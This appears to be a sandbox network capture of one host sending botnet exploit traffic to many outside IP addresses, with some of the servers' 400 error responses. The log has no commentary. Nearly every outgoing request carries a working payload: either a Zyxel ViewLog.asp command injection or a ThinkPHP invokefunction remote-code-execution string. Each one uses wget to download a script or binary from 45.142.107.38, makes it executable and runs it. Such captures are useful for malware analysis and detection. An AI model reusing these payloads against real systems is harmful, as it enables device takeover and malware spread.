Mar 4, 2024 15:07:55.318980932 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:57.558991909 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:01.911086082 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:10.614890099 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:29.558948040 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:04.374866009 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	45812	94.123.8.186	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:53.818641901 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	57194	88.221.33.93	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:55.287081003 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:55.959568024 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.082058907 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:56 GMT Date: Mon, 04 Mar 2024 14:07:56 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 64 37 64 64 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 36 26 23 34 36 3b 37 66 39 30 30 33 35 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.ad7dd17.1709561276.7f900356</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	57720	88.218.168.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:55.329163074 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.247139931 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.412292957 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 04 Mar 2024 14:07:56 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	33622	85.31.235.143	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:56.650505066 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	53364	95.101.236.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:56.664293051 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.820177078 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:56 GMT Date: Mon, 04 Mar 2024 14:07:56 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 62 65 63 36 35 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 36 26 23 34 36 3b 33 64 33 31 61 65 38 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3bec655f.1709561276.3d31ae82</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	47324	88.198.128.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:56.683608055 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:56.858711004 CET	510	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 316 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6b 6b 6d 2d 61 72 62 65 69 74 73 73 63 68 75 74 7a 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at www.kkm-arbeitsschutz.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	55544	95.100.230.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:56.842917919 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:57.021841049 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:56 GMT Date: Mon, 04 Mar 2024 14:07:56 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 39 37 65 31 39 62 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 36 26 23 34 36 3b 31 37 30 33 36 63 66 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.497e19b8.1709561276.17036cfa</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	32940	94.123.252.131	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.015404940 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	45688	95.86.87.217	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.017261028 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	37816	88.221.151.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.494297028 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:57.660682917 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:57 GMT Date: Mon, 04 Mar 2024 14:07:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 39 39 31 64 64 35 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 37 26 23 34 36 3b 33 38 63 34 30 33 32 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3991dd58.1709561277.38c40323</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	35556	88.221.60.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.502779007 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:57.670883894 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:57 GMT Date: Mon, 04 Mar 2024 14:07:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 36 35 65 36 63 63 31 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 37 26 23 34 36 3b 31 36 36 30 65 34 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a65e6cc1.1709561277.1660e47</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	47310	88.198.128.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.524415970 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:57.699151039 CET	510	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 316 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6b 6b 6d 2d 61 72 62 65 69 74 73 73 63 68 75 74 7a 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at www.kkm-arbeitsschutz.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	40950	88.99.102.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.524482965 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:57.699009895 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	53388	95.101.236.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.679733992 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
